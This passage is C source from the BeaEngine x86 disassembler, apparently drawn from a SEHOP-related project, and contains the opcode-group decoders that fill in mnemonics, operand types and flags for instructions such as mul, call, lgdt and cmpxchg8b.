        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "not ");
        Eb(pMyDisasm);
        FillFlags(pMyDisasm, 73);
    }
    else if (REGOPCODE == 3) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "neg ");
        Eb(pMyDisasm);
        FillFlags(pMyDisasm, 71);
    }
    else if (REGOPCODE == 4) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mul ");
        OpSize = 101;
        OperandSize = 8;
        MOD_RM(&(*pMyDisasm).Argument2);
        OperandSize = 32;
        EIP_ += DECALAGE_EIP + 2;
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0 + REG2;
        (*pMyDisasm).Argument1.ArgSize = 8;
        FillFlags(pMyDisasm, 70);
    }
    else if (REGOPCODE == 5) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "imul ");
        OpSize = 101;
        OperandSize = 8;
        MOD_RM(&(*pMyDisasm).Argument2);
        OperandSize = 32;
        EIP_ += DECALAGE_EIP + 2;
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0 + REG2;
        (*pMyDisasm).Argument1.ArgSize = 8;
        FillFlags(pMyDisasm, 38);
    }
    else if (REGOPCODE == 6) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "div ");
        OpSize = 101;
        OperandSize = 8;
        MOD_RM(&(*pMyDisasm).Argument2);
        OperandSize = 32;
        EIP_ += DECALAGE_EIP + 2;
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0 + REG2;
        (*pMyDisasm).Argument1.ArgSize = 8;
        FillFlags(pMyDisasm, 31);
    }
    else if (REGOPCODE == 7) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "idiv ");
        OpSize = 101;
        OperandSize = 8;
        MOD_RM(&(*pMyDisasm).Argument2);
        OperandSize = 32;
        EIP_ += DECALAGE_EIP + 2;
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0 + REG2;
        (*pMyDisasm).Argument1.ArgSize = 8;
        FillFlags(pMyDisasm, 37);
    }
}

// ====================================================================
//      0f7h
// ====================================================================
void __stdcall G3_Ev(PDISASM pMyDisasm)
{
    REGOPCODE = ((*((BYTE*) (EIP_ + 1))) >> 3) & 0x7;
    if (REGOPCODE == 0) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + BIT_BYTE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "test ");
        EvIv(pMyDisasm);
        (*pMyDisasm).Argument1.AccessMode = READ;
        FillFlags(pMyDisasm, 104);
    }
    else if (REGOPCODE == 1) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + BIT_BYTE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "test ");
        EvIv(pMyDisasm);
        (*pMyDisasm).Argument1.AccessMode = READ;
        FillFlags(pMyDisasm, 104);
    }
    else if (REGOPCODE == 2) {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + LOGICAL_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "not ");
        Ev(pMyDisasm);
        FillFlags(pMyDisasm, 73);
    }
    else if (REGOPCODE == 3) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "neg ");
        Ev(pMyDisasm);
        FillFlags(pMyDisasm, 71);
    }
    else if (REGOPCODE == 4) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mul ");
        if (OperandSize == 64) {
            OpSize = 104;
        }
        else if (OperandSize == 32) {
            OpSize = 103;
        }
        else {
            OpSize = 102;
        }
        MOD_RM(&(*pMyDisasm).Argument2);
        EIP_ += DECALAGE_EIP + 2;
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0 + REG2;
        (*pMyDisasm).Argument1.ArgSize = 8;
        FillFlags(pMyDisasm, 70);
    }
    else if (REGOPCODE == 5) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "imul ");
        if (OperandSize == 64) {
            OpSize = 104;
        }
        else if (OperandSize == 32) {
            OpSize = 103;
        }
        else {
            OpSize = 102;
        }
        MOD_RM(&(*pMyDisasm).Argument2);
        EIP_ += DECALAGE_EIP + 2;
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0 + REG2;
        (*pMyDisasm).Argument1.ArgSize = 8;
        FillFlags(pMyDisasm, 38);
    }
    else if (REGOPCODE == 6) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "div ");
        if (OperandSize == 64) {
            OpSize = 104;
        }
        else if (OperandSize == 32) {
            OpSize = 103;
        }
        else {
            OpSize = 102;
        }
        MOD_RM(&(*pMyDisasm).Argument2);
        EIP_ += DECALAGE_EIP + 2;
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0 + REG2;
        (*pMyDisasm).Argument1.ArgSize = 8;
        FillFlags(pMyDisasm, 31);
    }
    else if (REGOPCODE == 7) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "idiv ");
        if (OperandSize == 64) {
            OpSize = 104;
        }
        else if (OperandSize == 32) {
            OpSize = 103;
        }
        else {
            OpSize = 102;
        }
        MOD_RM(&(*pMyDisasm).Argument2);
        EIP_ += DECALAGE_EIP + 2;
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0 + REG2;
        (*pMyDisasm).Argument1.ArgSize = 8;
        FillFlags(pMyDisasm, 37);
    }
}
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LILXAM_SEHOP/BeaEngine/Includes/instr_set/opcodes_Grp4.c

// Copyright 2006-2009, BeatriX
// File coded by BeatriX
//
// This file is part of BeaEngine.
//
//    BeaEngine is free software: you can redistribute it and/or modify
//    it under the terms of the GNU Lesser General Public License as published by
//    the Free Software Foundation, either version 3 of the License, or
//    (at your option) any later version.
//
//    BeaEngine is distributed in the hope that it will be useful,
//    but WITHOUT ANY WARRANTY; without even the implied warranty of
//    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
//    GNU Lesser General Public License for more details.
//
//    You should have received a copy of the GNU Lesser General Public License
//    along with BeaEngine.  If not, see <http://www.gnu.org/licenses/>.

// ====================================================================
//      0feh
// ====================================================================
void __stdcall G4_Eb(PDISASM pMyDisasm)
{
    REGOPCODE = ((*((BYTE*) (EIP_ + 1))) >> 3) & 0x7;
    if (REGOPCODE == 0) {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "inc ");
        Eb(pMyDisasm);
        FillFlags(pMyDisasm, 40);
    }
    else if (REGOPCODE == 1) {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "dec ");
        Eb(pMyDisasm);
        FillFlags(pMyDisasm, 30);
    }
    else {
        FailDecode(pMyDisasm);
    }
}
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LILXAM_SEHOP/BeaEngine/Includes/instr_set/opcodes_Grp5.c

// Copyright 2006-2009, BeatriX
// File coded by BeatriX
//
// This file is part of BeaEngine.
//
//    BeaEngine is free software: you can redistribute it and/or modify
//    it under the terms of the GNU Lesser General Public License as published by
//    the Free Software Foundation, either version 3 of the License, or
//    (at your option) any later version.
//
//    BeaEngine is distributed in the hope that it will be useful,
//    but WITHOUT ANY WARRANTY; without even the implied warranty of
//    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
//    GNU Lesser General Public License for more details.
//
//    You should have received a copy of the GNU Lesser General Public License
//    along with BeaEngine.  If not, see <http://www.gnu.org/licenses/>.

// ====================================================================
//      0ffh
// ====================================================================
void __stdcall G5_Ev(PDISASM pMyDisasm)
{
    REGOPCODE = ((*((BYTE*) (EIP_ + 1))) >> 3) & 0x7;
    if (REGOPCODE == 0) {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "inc ");
        Ev(pMyDisasm);
        FillFlags(pMyDisasm, 40);
    }
    else if (REGOPCODE == 1) {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + ARITHMETIC_INSTRUCTION;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "dec ");
        Ev(pMyDisasm);
        FillFlags(pMyDisasm, 30);
    }
    else if (REGOPCODE == 2) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
        (*pMyDisasm).Instruction.BranchType = CallType;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "call ");
        if (Architecture == 64) {
            OperandSize = 64;
        }
        if (OperandSize == 64) {
            OpSize = 104;
        }
        else if (OperandSize == 32) {
            OpSize = 103;
        }
        else {
            OpSize = 102;
        }
        MOD_RM(&(*pMyDisasm).Argument2);
        EIP_ += DECALAGE_EIP + 2;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG4;
    }
    else if (REGOPCODE == 3) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
        (*pMyDisasm).Instruction.BranchType = CallType;
        if (SYNTAX_ == ATSyntax) {
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lcall ");
        }
        else {
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "call far ");
        }
        OpSize = 107;
        MOD_RM(&(*pMyDisasm).Argument2);
        EIP_ += DECALAGE_EIP + 2;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG4;
    }
    else if (REGOPCODE == 4) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
        (*pMyDisasm).Instruction.BranchType = JmpType;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jmp ");
        if (Architecture == 64) {
            OperandSize = 64;
        }
        if (OperandSize == 64) {
            OpSize = 104;
        }
        else if (OperandSize == 32) {
            OpSize = 103;
        }
        else {
            OpSize = 102;
        }
        MOD_RM(&(*pMyDisasm).Argument2);
        EIP_ += DECALAGE_EIP + 2;
    }
    else if (REGOPCODE == 5) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + CONTROL_TRANSFER;
        (*pMyDisasm).Instruction.BranchType = CallType;
        if (SYNTAX_ == ATSyntax) {
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ljmp ");
        }
        else {
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "jmp far ");
        }
        OpSize = 107;
        MOD_RM(&(*pMyDisasm).Argument2);
        EIP_ += DECALAGE_EIP + 2;
    }
    else if (REGOPCODE == 6) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "push ");
        if (Architecture == 64) {
            OperandSize = 64;
        }
        if (OperandSize == 64) {
            OpSize = 104;
        }
        else if (OperandSize == 32) {
            OpSize = 103;
        }
        else {
            OpSize = 102;
        }
        MOD_RM(&(*pMyDisasm).Argument2);
        EIP_ += DECALAGE_EIP + 2;
        (*pMyDisasm).Argument1.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument1.ArgSize = OperandSize;
        (*pMyDisasm).Argument1.Memory.BaseRegister = REG4;
        (*pMyDisasm).Instruction.ImplicitModifiedRegs = GENERAL_REG + REG4;
    }
    else {
        FailDecode(pMyDisasm);
    }
}
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LILXAM_SEHOP/BeaEngine/Includes/instr_set/opcodes_Grp6.c

// Copyright 2006-2009, BeatriX
// File coded by BeatriX
//
// This file is part of BeaEngine.
//
//    BeaEngine is free software: you can redistribute it and/or modify
//    it under the terms of the GNU Lesser General Public License as published by
//    the Free Software Foundation, either version 3 of the License, or
//    (at your option) any later version.
//
//    BeaEngine is distributed in the hope that it will be useful,
//    but WITHOUT ANY WARRANTY; without even the implied warranty of
//    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
//    GNU Lesser General Public License for more details.
//
//    You should have received a copy of the GNU Lesser General Public License
//    along with BeaEngine.  If not, see <http://www.gnu.org/licenses/>.

// ====================================================================
//      0f00h
// ====================================================================
void __stdcall G6_(PDISASM pMyDisasm)
{
    long OperandSizeOld = 0;

    (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION;
    OperandSizeOld = OperandSize;
    OperandSize = 16;
    REGOPCODE = ((*((BYTE*) (EIP_ + 1))) >> 3) & 0x7;
    MOD_ = ((*((BYTE*) (EIP_ + 1))) >> 6) & 0x3;

    if (REGOPCODE == 0) {
        if ((OperandSizeOld == 64) && (MOD_ == 0x3)) {
            OperandSize = OperandSizeOld;
        }
        else {
            OpSize = 2;
        }
        MOD_RM(&(*pMyDisasm).Argument1);
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sldt ");
        (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + MEMORY_MANAGEMENT_REG + REG1;
        (*pMyDisasm).Argument2.ArgSize = 16;
        OperandSize = OperandSizeOld;
        EIP_+= DECALAGE_EIP + 2;
    }
    else if (REGOPCODE == 1) {
        if ((OperandSizeOld == 64) && (MOD_ == 0x3)) {
            OperandSize = OperandSizeOld;
        }
        else {
            OpSize = 2;
        }
        MOD_RM(&(*pMyDisasm).Argument1);
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "str ");
        (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + MEMORY_MANAGEMENT_REG + REG3;
        (*pMyDisasm).Argument2.ArgSize = 16;
        OperandSize = OperandSizeOld;
        EIP_+= DECALAGE_EIP + 2;
    }
    else if (REGOPCODE == 2) {
        OpSize = 102;
        MOD_RM(&(*pMyDisasm).Argument2);
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lldt ");
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + MEMORY_MANAGEMENT_REG + REG1;
        (*pMyDisasm).Argument1.ArgSize = 16;
        OperandSize = OperandSizeOld;
        EIP_+= DECALAGE_EIP + 2;
    }
    else if (REGOPCODE == 3) {
        OpSize = 102;
        MOD_RM(&(*pMyDisasm).Argument2);
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "ltr ");
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + MEMORY_MANAGEMENT_REG + REG3;
        (*pMyDisasm).Argument1.ArgSize = 16;
        OperandSize = OperandSizeOld;
        EIP_+= DECALAGE_EIP + 2;
    }
    else if (REGOPCODE == 4) {
        OpSize = 102;
        MOD_RM(&(*pMyDisasm).Argument1);
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "verr ");
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + SPECIAL_REG + REG0;
        (*pMyDisasm).Argument1.ArgSize = 16;
        OperandSize = OperandSizeOld;
        EIP_+= DECALAGE_EIP + 2;
    }
    else if (REGOPCODE == 5) {
        OpSize = 102;
        MOD_RM(&(*pMyDisasm).Argument1);
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "verw ");
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + SPECIAL_REG + REG0;
        (*pMyDisasm).Argument1.ArgSize = 16;
        OperandSize = OperandSizeOld;
        EIP_+= DECALAGE_EIP + 2;
    }
    else if (REGOPCODE == 6) {
        FailDecode(pMyDisasm);
        OperandSize = OperandSizeOld;
    }
    else {
        FailDecode(pMyDisasm);
        OperandSize = OperandSizeOld;
    }
}
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LILXAM_SEHOP/BeaEngine/Includes/instr_set/opcodes_Grp7.c

// Copyright 2006-2009, BeatriX
// File coded by BeatriX
//
// This file is part of BeaEngine.
//
//    BeaEngine is free software: you can redistribute it and/or modify
//    it under the terms of the GNU Lesser General Public License as published by
//    the Free Software Foundation, either version 3 of the License, or
//    (at your option) any later version.
//
//    BeaEngine is distributed in the hope that it will be useful,
//    but WITHOUT ANY WARRANTY; without even the implied warranty of
//    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
//    GNU Lesser General Public License for more details.
//
//    You should have received a copy of the GNU Lesser General Public License
//    along with BeaEngine.  If not, see <http://www.gnu.org/licenses/>.

// ====================================================================
//      0f01h
// ====================================================================
void __stdcall G7_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION;
    REGOPCODE = ((*((BYTE*) (EIP_ + 1))) >> 3) & 0x7;
    MOD_ = ((*((BYTE*) (EIP_ + 1))) >> 6) & 0x3;
    RM_  = (*((BYTE*) (EIP_ + 1))) & 0x7;
    if (REGOPCODE == 0) {
        if (MOD_ == 0x3) {
            if (RM_ == 0x1) {
                (*pMyDisasm).Instruction.Category = VM_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "vmcall ");
            }
            else if (RM_ == 0x2) {
                (*pMyDisasm).Instruction.Category = VM_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "vmlaunch ");
            }
            else if (RM_ == 0x3) {
                (*pMyDisasm).Instruction.Category = VM_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "vmresume ");
            }
            else if (RM_ == 0x4) {
                (*pMyDisasm).Instruction.Category = VM_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "vmxoff ");
            }
            else {
                FailDecode(pMyDisasm);
            }
        }
        else {
            OpSize = 7;
            MOD_RM(&(*pMyDisasm).Argument1);
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sgdt ");
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + MEMORY_MANAGEMENT_REG + REG0;
            (*pMyDisasm).Argument2.ArgSize = 48;
            EIP_+= DECALAGE_EIP + 2;
        }
    }
    else if (REGOPCODE == 1) {
        if (MOD_ == 0x3) {
            if (RM_ == 0x01) {
                (*pMyDisasm).Instruction.Category = SSE3_INSTRUCTION + AGENT_SYNCHRONISATION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "monitor ");
            }
            else if (RM_ == 0x1) {
                (*pMyDisasm).Instruction.Category = SSE3_INSTRUCTION + AGENT_SYNCHRONISATION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "mwait ");
            }
            else {
                FailDecode(pMyDisasm);
            }
        }
        else {
            OpSize = 7;
            MOD_RM(&(*pMyDisasm).Argument1);
            (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "sidt ");
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + MEMORY_MANAGEMENT_REG + REG2;
            (*pMyDisasm).Argument2.ArgSize = 48;
            EIP_+= DECALAGE_EIP + 2;
        }
    }
    else if (REGOPCODE == 2) {
        if (MOD_ == 0x3) {
            if (RM_ == 0x0) {
                (*pMyDisasm).Instruction.Category = VM_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xgetbv ");
            }
            else if (RM_ == 0x1) {
                (*pMyDisasm).Instruction.Category = VM_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xsetbv ");
            }
            else {
                FailDecode(pMyDisasm);
            }
        }
        else {
            OpSize = 107;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lgdt ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + MEMORY_MANAGEMENT_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 48;
            EIP_+= DECALAGE_EIP + 2;
        }
    }
    else if (REGOPCODE == 3) {
        if (MOD_ == 0x3) {
            if (RM_ == 0x0) {
                (*pMyDisasm).Instruction.Category = VM_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "vmrun ");
            }
            else if (RM_ == 0x1) {
                (*pMyDisasm).Instruction.Category = VM_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "vmmcall ");
            }
            else if (RM_ == 0x2) {
                (*pMyDisasm).Instruction.Category = VM_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "vmload ");
            }
            else if (RM_ == 0x3) {
                (*pMyDisasm).Instruction.Category = VM_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "vmsave ");
            }
            else if (RM_ == 0x4) {
                (*pMyDisasm).Instruction.Category = VM_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "stgi ");
            }
            else if (RM_ == 0x5) {
                (*pMyDisasm).Instruction.Category = VM_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "clgi ");
            }
            else if (RM_ == 0x5) {
                (*pMyDisasm).Instruction.Category = VM_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "skinit ");
            }
            else if (RM_ == 0x5) {
                (*pMyDisasm).Instruction.Category = VM_INSTRUCTION;
                (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "invlpga ");
            }
            else {
                FailDecode(pMyDisasm);
            }
        }
        else {
            OpSize = 107;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lidt ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + MEMORY_MANAGEMENT_REG + REG2;
            (*pMyDisasm).Argument1.ArgSize = 48;
            EIP_+= DECALAGE_EIP + 2;
        }
    }

    else if (REGOPCODE == 4) {
        if (MOD_ == 0x3) {
            FailDecode(pMyDisasm);
        }
        else {
            OpSize = 102;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "smsw ");
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + CR_REG + REG0;
            (*pMyDisasm).Argument1.ArgSize = 16;
            EIP_+= DECALAGE_EIP + 2;
        }
    }

    else if (REGOPCODE == 6) {
        if (MOD_ == 0x3) {
            FailDecode(pMyDisasm);
        }
        else {
            OpSize = 2;
            MOD_RM(&(*pMyDisasm).Argument1);
            (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "lmsw ");
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + CR_REG + REG0;
            (*pMyDisasm).Argument2.ArgSize = 16;
            EIP_+= DECALAGE_EIP + 2;
        }
    }
    else if (REGOPCODE == 7) {
        if (MOD_ == 0x3) {
            if (Architecture == 64) {
                if (RM_ == 0x0) {
                    (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION;
                    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "swapgs ");
                    EIP_+= DECALAGE_EIP + 2;
                }
                else if (RM_ == 0x1) {
                    (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION;
                    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "rdtscp ");
                    EIP_+= DECALAGE_EIP + 2;
                }
                else {
                    FailDecode(pMyDisasm);
                }
            }
            else {
                FailDecode(pMyDisasm);
            }
        }
        else {
            OpSize = 101;
            MOD_RM(&(*pMyDisasm).Argument2);
            (*pMyDisasm).Instruction.Category = SYSTEM_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "invlpg ");
            EIP_+= DECALAGE_EIP + 2;
        }
    }
    else {
        FailDecode(pMyDisasm);
    }


}
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LILXAM_SEHOP/BeaEngine/Includes/instr_set/opcodes_Grp8.c

// Copyright 2006-2009, BeatriX
// File coded by BeatriX
//
// This file is part of BeaEngine.
//
//    BeaEngine is free software: you can redistribute it and/or modify
//    it under the terms of the GNU Lesser General Public License as published by
//    the Free Software Foundation, either version 3 of the License, or
//    (at your option) any later version.
//
//    BeaEngine is distributed in the hope that it will be useful,
//    but WITHOUT ANY WARRANTY; without even the implied warranty of
//    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
//    GNU Lesser General Public License for more details.
//
//    You should have received a copy of the GNU Lesser General Public License
//    along with BeaEngine.  If not, see <http://www.gnu.org/licenses/>.

// ====================================================================
//      0fbah
// ====================================================================
void __stdcall G8_EvIb(PDISASM pMyDisasm)
{
    REGOPCODE = ((*((BYTE*) (EIP_ + 1))) >> 3) & 0x7;
    EvIb(pMyDisasm);
    if (REGOPCODE == 4) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + BIT_BYTE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "bt ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        FillFlags(pMyDisasm, 11);
    }
    else if (REGOPCODE == 5) {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + BIT_BYTE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "bts ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        FillFlags(pMyDisasm, 11);
    }
    else if (REGOPCODE == 6) {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + BIT_BYTE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "btr ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        FillFlags(pMyDisasm, 11);
    }
    else if (REGOPCODE == 7) {
        if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
            (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
        }
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + BIT_BYTE;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "btc ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        FillFlags(pMyDisasm, 11);
    }
    else {
        FailDecode(pMyDisasm);
    }
}
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LILXAM_SEHOP/BeaEngine/Includes/instr_set/opcodes_Grp9.c

// Copyright 2006-2009, BeatriX
// File coded by BeatriX
//
// This file is part of BeaEngine.
//
//    BeaEngine is free software: you can redistribute it and/or modify
//    it under the terms of the GNU Lesser General Public License as published by
//    the Free Software Foundation, either version 3 of the License, or
//    (at your option) any later version.
//
//    BeaEngine is distributed in the hope that it will be useful,
//    but WITHOUT ANY WARRANTY; without even the implied warranty of
//    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
//    GNU Lesser General Public License for more details.
//
//    You should have received a copy of the GNU Lesser General Public License
//    along with BeaEngine.  If not, see <http://www.gnu.org/licenses/>.


// ====================================================================
//      0fc7h
// ====================================================================
void __stdcall G9_(PDISASM pMyDisasm)
{
    REGOPCODE = ((*((BYTE*) (EIP_ + 1))) >> 3) & 0x7;
    OpSize = 104;
    MOD_RM(&(*pMyDisasm).Argument2);
    if (REGOPCODE == 1) {
        (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "cmpxchg8b ");
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG0 + REG2;
